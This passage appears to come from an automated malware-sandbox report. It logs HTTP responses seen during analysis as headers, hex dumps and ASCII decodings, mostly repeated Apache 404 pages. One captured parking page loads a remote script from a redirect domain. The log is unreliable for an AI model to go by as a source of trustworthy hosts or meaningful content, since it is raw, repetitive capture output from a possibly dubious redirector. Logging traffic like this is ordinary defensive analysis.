64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:09 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 01 Mar 2021 15:47:38 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 358Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 5d 17 eb 38 6d 60 1f e1 77 ff e7 0b 63 0d 17 d5 47 02 00 00 Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:12 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 01 Mar 2021 15:47:38 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 358Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 5d 17 eb 38 6d 60 1f e1 77 ff e7 0b 63 0d 17 d5 47 02 00 00 Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:15 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 01 Mar 2021 15:47:38 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 358Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 5d 17 eb 38 6d 60 1f e1 77 ff e7 0b 63 0d 17 d5 47 02 00 00 Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:18 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 01 Mar 2021 15:47:38 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39 50 4f 42 45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64 69 72 65 63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6e 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 69 64 3d 22 73 6b 2d 6c 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:32 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:34 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:37 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:40 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 79 30 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /oy0l/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:45 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:48 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:51 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 